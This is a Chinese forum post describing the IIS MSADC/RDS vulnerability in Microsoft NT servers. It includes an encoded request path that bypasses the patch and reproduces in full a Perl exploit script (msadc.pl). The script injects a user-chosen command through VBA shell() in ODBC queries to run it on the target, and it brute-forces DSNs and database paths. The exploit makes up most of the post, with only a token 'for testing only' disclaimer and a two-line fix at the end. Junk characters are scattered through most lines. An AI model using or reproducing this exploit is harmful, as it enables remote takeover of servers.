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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) !cwVJe  
<@2# VG  
涉及程序: f;H#TSJ  
Microsoft NT server oD@jtd>b%  
;w(1Ydo  
描述: D])YP0|}  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 "|*Kf#  
jsd]7C  
详细: _lv:"/3R  
如果你没有时间读详细内容的话,就删除: =Fy8rTdk6r  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 8I0T u  
有关的安全问题就没有了。 oK:P@V6!  
*yq]  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 zn1Rou]6  
~C7<a48x  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]\,uF8gg)  
关于利用ODBC远程漏洞的描述,请参看: UH-uU~  
s[@>uP  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 2\B9o `Y  
A=d$ir K[  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6H,=S`V]EK  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp )2Ru!l#  
YQdX>k  
这里不再论述。 $YY)g$  
.]s( c!{y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9XqAjez\  
EvQwGt1)P  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ZNpExfGEU  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! yPh2P5}H>  
Ca@=s  
QsJW"4d  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 'F"Y?y:!  
RrdtU7i3  
#!perl L"!ZY  
# xTFrrmxOf  
# MSADC/RDS 'usage' (aka exploit) script tK}p05nPhl  
# k+#l;<\2  
# by rain.forest.puppy 5vX 8mPR_  
# 6y,P4O*q  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me _s^:zPl  
# beta test and find errors! {hRie+  
! M&un*  
use Socket; use Getopt::Std; Wo9psv7.  
getopts("e:vd:h:XR", \%args); #t2UPLO~  
]ZzG!7  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; q6JW@GT  
tb?F}MEe  
if (!defined $args{h} && !defined $args{R}) { Z<|_+7T  
print qq~ Iei7!KLW  
Usage: msadc.pl -h <host> { -d <delay> -X -v } R 4$Q3vcH  
-h <host> = host you want to scan (ip or domain) Sja{$zL+W  
-d <seconds> = delay between calls, default 1 second WCmNibj  
-X = dump Index Server path table, if available m_!vIUOz  
-v = verbose 4!~ .6cp3  
-e = external dictionary file for step 5 Qj<{oZp&  
YG 5Z8@kH  
Or a -R will resume a command session lAn+gDP  
Q|= Q]$d  
~; exit;} DxKfWb5 R  
w-H%B`/  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; LX\*4[0%K  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} C7 ]DJn  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} d9-mWz(V+  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  Ep\  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} k/_8!^:'  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } FL#g9U>  
Uy59zB2|=  
if (!defined $args{R}){ $ret = &has_msadc; r3H}*Wpf  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^/C $L8#  
k'ZUBTRq!  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Go\} A:|s  
. "cmd /c "; Z#F,y)YiO  
$in=<STDIN>; chomp $in; $TA6S+  
$command="cmd /c " . $in ; gJ3OK!/  
8S1P&+iKs  
if (defined $args{R}) {&load; exit;} RHx+HBZ  
q]N?@l]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }>;ht5/i/  
&try_btcustmr; ewAH'H]o  
o\]: !#r{T  
print "\nStep 2: Trying to make our own DSN..."; HLSfoQ&)v  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; juCG?}di;  
Dpdn%8+Z  
print "\nStep 3: Trying known DSNs..."; <cDKGd  
&known_dsn; C](z#c~c  
 t$H':l0  
print "\nStep 4: Trying known .mdbs..."; OJ35En  
&known_mdb; d2A wvP  
)ew[ Ak|  
if (defined $args{e}){ &8]#RQy{f  
print "\nStep 5: Trying dictionary of DSN names..."; UEEBWzH  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7bonOt Y  
ke}Y 2sB  
print "Sorry Charley...maybe next time?\n"; ,yk PQzO  
exit; WO.0K5nfk  
3"'# |6O9  
############################################################################## bvip bf[m<  
nxyjL)!)0  
sub sendraw { # ripped and modded from whisker Ns.3s7&  
sleep($delay); # it's a DoS on the server! At least on mine... (}{_]X|e  
my ($pstr)=@_; :vYt Mp  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ){+[$@9  
die("Socket problems\n"); a IpPL8a  
if(connect(S,pack "SnA4x8",2,80,$target)){ KbwTj*k[  
select(S); $|=1; m%oGzx+  
print $pstr; my @in=<S>; 2#AeN6\@  
select(STDOUT); close(S); OB?SkR  
return @in; kRN|TDx(  
} else { die("Can't connect...\n"); }} : F7k{~  
b8N[."~:  
############################################################################## ).NcLJw_  
W&+y(Z-t  
sub make_header { # make the HTTP request %XJQ0CE<(  
my $msadc=<<EOT w.J%qWJq  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 GSz @rDGY  
User-Agent: ACTIVEDATA K,eqD<  
Host: $ip U#;51 _  
Content-Length: $clen HQ^9 [HN.  
Connection: Keep-Alive v)@,:u)  
<I7(eh6d  
ADCClientVersion:01.06 t1e4H=d>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 01LZE,.  
%bIsrQ~B  
--!ADM!ROX!YOUR!WORLD! 1mJbQ#5  
Content-Type: application/x-varg tS\=<T  
Content-Length: $reqlen ZjU=~)O}H  
x7 "z(rKl  
EOT wv, GBZ-f  
; $msadc=~s/\n/\r\n/g; (TEo_BW|+  
return $msadc;} 87^:<\pp  
R9tckRG#  
############################################################################## |H ^w>mk  
N@Xg5huO  
sub make_req { # make the RDS request DeOXM=&z  
my ($switch, $p1, $p2)=@_; 1@A7h$1P  
my $req=""; my $t1, $t2, $query, $dsn; -|m$YrzG  
xi6 80'  
if ($switch==1){ # this is the btcustmr.mdb query ^Sy^+=wK3  
$query="Select * from Customers where City=" . make_shell(); (jM<T;4  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 2c}B  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} V~OUE]]Q  
= :Po%Z%{  
elsif ($switch==2){ # this is general make table query XnBm`vk?V!  
$query="create table AZZ (B int, C varchar(10))"; bnijM/73  
$dsn="$p1";} sS, zzx<  
o"|O ]  
elsif ($switch==3){ # this is general exploit table query `[WyH O|8  
$query="select * from AZZ where C=" . make_shell(); j#N(1}r=1  
$dsn="$p1";} }*iAE>;  
r_Lu~y|  
elsif ($switch==4){ # attempt to hork file info from index server luW <V>  
$query="select path from scope()"; h ZoC _\  
$dsn="Provider=MSIDXS;";} (E!%v`_0  
|/@0~O(6  
elsif ($switch==5){ # bad query xME(B@j  
$query="select"; mR"uhm}q  
$dsn="$p1";} It%T7 X#  
o;3j:# 3 |  
$t1= make_unicode($query); fO*)LPen.z  
$t2= make_unicode($dsn); " Wp   
$req = "\x02\x00\x03\x00"; hIR@^\?  
$req.= "\x08\x00" . pack ("S1", length($t1)); qh%i5Mu  
$req.= "\x00\x00" . $t1 ; u\`/Nhn  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~6p5H}'H1  
$req.= "\x00\x00" . $t2 ; RNGO~:k?r  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; P,(9cyS{  
return $req;} j7f5|^/x3  
Ll,I-BQ 9  
############################################################################## aT&t_^[]   
GF&_~48GD  
sub make_shell { # this makes the shell() statement _zdNLwE[  
return "'|shell(\"$command\")|'";} S#,+Z7  
F y b[{"  
############################################################################## $h,d? .u6w  
ZQ|5W6c  
sub make_unicode { # quick little function to convert to unicode 'r~8  
my ($in)=@_; my $out; rB,ldy,f  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {`a(Tl8V  
return $out;} W:WQaF`2x  
cI5N"U@yN  
############################################################################## 5i6VZv  
(I[s3EnhS  
sub rdo_success { # checks for RDO return success (this is kludge) sr\cVv")  
my (@in) = @_; my $base=content_start(@in); UanEzx%  
if($in[$base]=~/multipart\/mixed/){ W/sY#"  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} yKYl@&H/%  
return 0;} @9aGz6k+  
h{I`7X  
############################################################################## /w0sj`;"  
a_Jb> }  
sub make_dsn { # this makes a DSN for us *m*`}9  
my @drives=("c","d","e","f"); Wu,S\!  
print "\nMaking DSN: "; }7%9}2}Iw  
foreach $drive (@drives) { E-^2"j >o  
print "$drive: "; 2SYKe$e  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Hj2<ZL  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Hoj8okP  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); vTdUuj3N  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; sJOV2#r  
return 0 if $2 eq "404"; # not found/doesn't exist B;V5x/  
if($2 eq "200") { M;qBDT~)  
foreach $line (@results) { I`NUurQTX  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} gSb,s [p&+  
} return 0;} )T9~8p.  
NddO*`8+)  
############################################################################## ^}J<)}Q  
sZKEUSFD #  
sub verify_exists { c+8V|'4  
my ($page)=@_; _C20 +PMO  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 7{4w 2)  
return $results[0];} YGETMIT(  
Y3k[~A7X  
############################################################################## e gI&epN  
L"^OdpOs  
sub try_btcustmr { k=`$6(>Fz  
my @drives=("c","d","e","f"); s"WBw'_<<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $C u R}g  
6x/s|RWL1  
foreach $dir (@dirs) { Fwb5u!_,  
print "$dir -> "; # fun status so you can see progress aZ6'|S;  
foreach $drive (@drives) { D*QYKW=)  
print "$drive: "; # ditto KU]ok '  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Ps3~{zH`  
$reqlenlen=length( "$reqlen" ); .%IslLZ  
$clen= 206 + $reqlenlen + $reqlen; g8RPHjvZ  
eeW`JG-E  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); uaaf9SL?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?_%u)S*g  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ywO mQcZ  
QjJfE<h  
############################################################################## 9Sz7\W0  
*}w+ 68eO  
sub odbc_error { LL.x11 o3  
my (@in)=@_; my $base; wG8 nw;  
my $base = content_start(@in); f0DK>L  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this }RIU8=P  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <UT>PCNG  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; <!F3s`7~  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; JaI Kjn  
return $in[$base+4].$in[$base+5].$in[$base+6];} aBxiK[[`  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]ENK8bW  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s7l23*Czl  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Bd&`Xfebj  
VO_dA4C}z  
############################################################################## gw+eM,Yp  
gfN2/TDC]P  
sub verbose { !zR)D|w&  
my ($in)=@_; w#9_eq|3  
return if !$verbose; n'M>xq_  
print STDOUT "\n$in\n";} 9 I{/zKq  
8Q=ZH=SQK  
############################################################################## ezUQ> e  
RYy,wVh}  
sub save { pawl|Z'Ez  
my ($p1, $p2, $p3, $p4)=@_; Q+'nw9:;T  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; UV@0gdy[  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; G?xJv`"9iC  
close OUT;} [Gtb+'8  
O,'#C\   
############################################################################## E7`qmn  
{[W(a<%bXm  
sub load { ]Lm'RlV  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; C6]OAUXy:F  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "%@v++4y  
@p=<IN>; close(IN); X{\jK]O  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ),` 8eQC  
$target= inet_aton($ip) || die("inet_aton problems"); ix&'0IrX*  
print "Resuming to $ip ..."; lP3h<j  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; orqJ[!u)`  
if($p[1]==1) { pRrHuLj^  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Z9[+'ZWt  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ||Y<f *  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); A gWPa.'3  
if (rdo_success(@results)){print "Success!\n";} +qy6d7^  
else { print "failed\n"; verbose(odbc_error(@results));}} $FX,zC<=  
elsif ($p[1]==3){ g`[$Xi R  
if(run_query("$p[3]")){ IPtvuEju\  
print "Success!\n";} else { print "failed\n"; }} x+7*ADKb  
elsif ($p[1]==4){ l'"'o~MC  
if(run_query($drvst . "$p[3]")){ v0LGdX)/Y  
print "Success!\n"; } else { print "failed\n"; }} FnE6?~xa  
exit;} G3a7`CD  
wxdyF&U n  
############################################################################## 24B<[lSK  
iKAusWj  
sub create_table { 3i=Iu0  
my ($in)=@_; `q_<Im%I  
$reqlen=length( make_req(2,$in,"") ) - 28; !Z|($21W  
$reqlenlen=length( "$reqlen" ); qINTCm j  
$clen= 206 + $reqlenlen + $reqlen; 6Hf,6>  
my @results=sendraw(make_header() . make_req(2,$in,"")); ,b|-rU\  
return 1 if rdo_success(@results); Ch5+N6c^  
my $temp= odbc_error(@results); verbose($temp); L;/n!k.A  
return 1 if $temp=~/Table 'AZZ' already exists/; K0Tg|9  
return 0;} &%,DZA`  
+}JM&bfK  
############################################################################## ej^3Y Nh&  
e fO jTA%  
sub known_dsn { eB]R3j{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go  rLv;Y  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Ia4)uV8  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", `hUHel;6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @ D[`Oj)  
/X#z*GX  
foreach $dSn (@dsns) { /.Q4~Hw%}  
print "."; eR;!(Oy=A  
next if (!is_access("DSN=$dSn")); 5/@UVY9_  
if(create_table("DSN=$dSn")){ uQ3[Jz`y  
print "$dSn successful\n"; goZ V.,w  
if(run_query("DSN=$dSn")){ <Ef[c@3  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h-QLV[^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} :Li/=>R^  
J2M(1g)t9  
############################################################################## r:g9Z_  
+ts0^;QO2{  
sub is_access { ue{xnjw>U  
my ($in)=@_; ,={t8lN  
$reqlen=length( make_req(5,$in,"") ) - 28; {' 5qv@3  
$reqlenlen=length( "$reqlen" ); wT_h!W  
$clen= 206 + $reqlenlen + $reqlen; $kPHxD!"  
my @results=sendraw(make_header() . make_req(5,$in,"")); ^3~e/PKM  
my $temp= odbc_error(@results); @_yoX(.E&  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ]l;*$2w)  
return 0;} 1[PMDS_X  
a`c:`v2o  
############################################################################## z&}-8JykH  
go'j/4Tp  
sub run_query { DBgMC"_   
my ($in)=@_; (K<9h L+X  
$reqlen=length( make_req(3,$in,"") ) - 28; l "pN90B4  
$reqlenlen=length( "$reqlen" ); C+N k"l9  
$clen= 206 + $reqlenlen + $reqlen; 0.;}]v  
my @results=sendraw(make_header() . make_req(3,$in,"")); Q8nId<\(  
return 1 if rdo_success(@results); j6YiE~  
my $temp= odbc_error(@results); verbose($temp); ,o#kRWRG  
return 0;} ] d?x$>  
55DE\<r  
############################################################################## yVJ%+d:6  
#R&H &1  
sub known_mdb { 4N>>+]MWc  
my @drives=("c","d","e","f","g"); TqAPAHg  
my @dirs=("winnt","winnt35","winnt351","win","windows"); BmBz}:xMez  
my $dir, $drive, $mdb; %X1x4t]  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; z`3( ,V  
(z7+|JE.  
# this is sparse, because I don't know of many `/IKdO*!S  
my @sysmdbs=( "\\catroot\\icatalog.mdb", q|(W-h+  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", kOrl\_!z3  
"\\system32\\certmdb.mdb", !0}\&<8/m  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% WO*9+\[v  
B80aw>M  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", e %O0hE  
"\\cfusion\\cfapps\\forums\\forums_.mdb", k$i'v:c|:i  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 01@t~v3!Z  
"\\cfusion\\cfapps\\security\\realm_.mdb", md Gwh7/3  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", zsQoU&D 5  
"\\cfusion\\database\\cfexamples.mdb", l*=aMjd?  
"\\cfusion\\database\\cfsnippets.mdb", 9 c3E+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", g@ith&*=h  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", [(mlv42"  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3iX?~  
"\\cfusion\\database\\smpolicy.mdb", sRhKlUJG  
"\\cfusion\\database\cypress.mdb", *_-'/i  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", j`>^1Q  
"\\website\\cgi-win\\dbsample.mdb", 5Av=3[kh"%  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", :k=mzO<&  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A%bCMP  
); #these are just ,xi({{L*  
foreach $drive (@drives) { \XzM^K3  
foreach $dir (@dirs){ _^ |2}t  
foreach $mdb (@sysmdbs) { [k%4eO2p"  
print "."; 4=<*Vd`p  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ i@P}{   
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; jLVl4h&  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ W;_E4  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; kUl  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 6g:|*w  
!q"cpL'4  
foreach $drive (@drives) { 42C<1@>zO  
foreach $mdb (@mdbs) { !cX[-}Q  
print "."; YTaLjITG  
if(create_table($drv . $drive . $dir . $mdb)){ R^&q-M=O[  
print "\n" . $drive . $dir . $mdb . " successful\n"; 8Cx^0  
if(run_query($drv . $drive . $dir . $mdb)){ 1Y j~fb(  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; gE7L L=x  
} else { print "Something's borked. Use verbose next time\n"; }}}} "&+3#D >  
} b1?xeG#  
=d`5f@'rl  
############################################################################## t*S." q  
hGTV;eU  
sub hork_idx { *C|  
print "\nAttempting to dump Index Server tables...\n"; ^s:y/Kd  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; >l5$9wO  
$reqlen=length( make_req(4,"","") ) - 28; 6<'K~1do:  
$reqlenlen=length( "$reqlen" ); &2.u%[gO[q  
$clen= 206 + $reqlenlen + $reqlen; (R}ii}&  
my @results=sendraw2(make_header() . make_req(4,"","")); 5TKJWO.  
if (rdo_success(@results)){ OjE` 1h\  
my $max=@results; my $c; my %d; OS-f(qXd+  
for($c=19; $c<$max; $c++){ 3`.P'Fh(k  
$results[$c]=~s/\x00//g; 4@  3[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; % ZU/x d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 0#p/A^\#7M  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; e]8,:Gd(  
$d{"$1$2"}="";} Am4lEvb  
foreach $c (keys %d){ print "$c\n"; } $&I 'o  
} else {print "Index server doesn't seem to be installed.\n"; }} 5g5'@vMN  
umEVy*hc  
############################################################################## va)%et0!  
n~IVNB*  
sub dsn_dict { 1 OaXo!  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); W8WXY_yJt  
while(<IN>){ kAYb!h[`  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; B 9dt=j3j2  
next if (!is_access("DSN=$dSn")); GIwh@4;  
if(create_table("DSN=$dSn")){ 8(U{2B8>\%  
print "$dSn successful\n"; ;3'NMk  
if(run_query("DSN=$dSn")){ %3Z/+uT@v]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { kSncZ0K{  
print "Something's borked. Use verbose next time\n";}}} e&<yX  
print "\n"; close(IN);} 0ezYdS~o  
{Tp2H_EG  
############################################################################## 6=GZLpv  
YUWn;#  
sub sendraw2 { # ripped and modded from whisker E+95WF|4k"  
sleep($delay); # it's a DoS on the server! At least on mine... cQN sL  
my ($pstr)=@_; ]2SI!Ai7  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /B3R1kNf|  
die("Socket problems\n"); E>jh"|f:{  
if(connect(S,pack "SnA4x8",2,80,$target)){ a}yXC<}$  
print "Connected. Getting data"; g=@_Z"  
open(OUT,">raw.out"); my @in; >pL2*O^{9  
select(S); $|=1; print $pstr; q>!L6h5]t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} lEjwgk {  
close(OUT); select(STDOUT); close(S); return @in; y2L#:[8  
} else { die("Can't connect...\n"); }} }ut]\]b  
l:B;zi`)oB  
############################################################################## 1`0#HSO  
#s-iy+/1oN  
sub content_start { # this will take in the server headers Y-!YhWsS  
my (@in)=@_; my $c; :a[Ihqfg  
for ($c=1;$c<500;$c++) { tA.`k;LT  
if($in[$c] =~/^\x0d\x0a/){ L71!J0@a#  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } V<Z'(UI  
else { return $c+1; }}} -T@`hk`  
return -1;} # it should never get here actually ~EiH-z4U  
n||A" @b\  
############################################################################## ?i\;:<e4  
uYI@ 9U  
sub funky { y^>Q/H\  
my (@in)=@_; my $error=odbc_error(@in); ,~PYt*X4  
if($error=~/ADO could not find the specified provider/){ 4<,|*hAT  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; OTWkUB{  
exit;} upn~5>uCP  
if($error=~/A Handler is required/){ >pyj]y^3  
print "\nServer has custom handler filters (they most likely are patched)\n"; Njc%_&r  
exit;} dhPKHrS  
if($error=~/specified Handler has denied Access/){ XUMX*  
print "\nServer has custom handler filters (they most likely are patched)\n"; w&h 2y4  
exit;}} &7mW9]  
.1 )RW5|c  
############################################################################## I5ss0JSl/  
={2!c0s  
sub has_msadc { yc;3Id5?>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); B:TR2G9UT  
my $base=content_start(@results); e0,'+;*=g  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); h+~P"i}&\  
return 0;} K-vWa2  
H;ZHqcUX  
######################## 7u.|XmUz  
[4Ll0GSp  
{16<^  
解决方案: pE]?x $5U  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll RSfM]w}Hq#  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 2 ^mJ+v<  
co~Pyj  
拿出来充数 哈哈
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